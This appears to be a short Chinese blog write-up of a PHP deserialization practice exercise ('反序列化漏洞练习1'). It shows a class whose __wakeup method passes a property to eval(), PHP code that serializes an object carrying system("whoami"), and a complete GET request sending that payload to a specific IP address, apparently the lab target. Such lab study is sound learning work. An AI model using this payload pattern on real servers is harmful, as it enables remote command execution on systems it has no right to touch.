反序列化漏洞练习1

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

php 复制代码
<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}

完成

相关推荐
朝九晚五ฺ10 小时前
深入Rust标准库(std):核心能力与实战指南
开发语言·后端·rust
2013编程爱好者10 小时前
Rust变量
开发语言·后端·rust
zyfts11 小时前
🔥告别 20 分钟等待!NestJS 生产级消息队列 BullMQ 实践指南
前端·后端
star learning white11 小时前
xmC语言8
c语言·开发语言·算法
一只爱学习的小鱼儿11 小时前
QT中3D的使用
开发语言·数据库·qt
GISer_Jing11 小时前
3DThreeJS渲染核心架构深度解析
javascript·3d·架构·webgl
狗头大军之江苏分军11 小时前
【压力】一位一线炼钢工人的消失
前端·后端
喵了几个咪11 小时前
Golang微服务框架Kratos实现Thrift服务
开发语言·微服务·golang
拉不动的猪11 小时前
文件下载:后端配置、前端方式与进度监控
前端·javascript·浏览器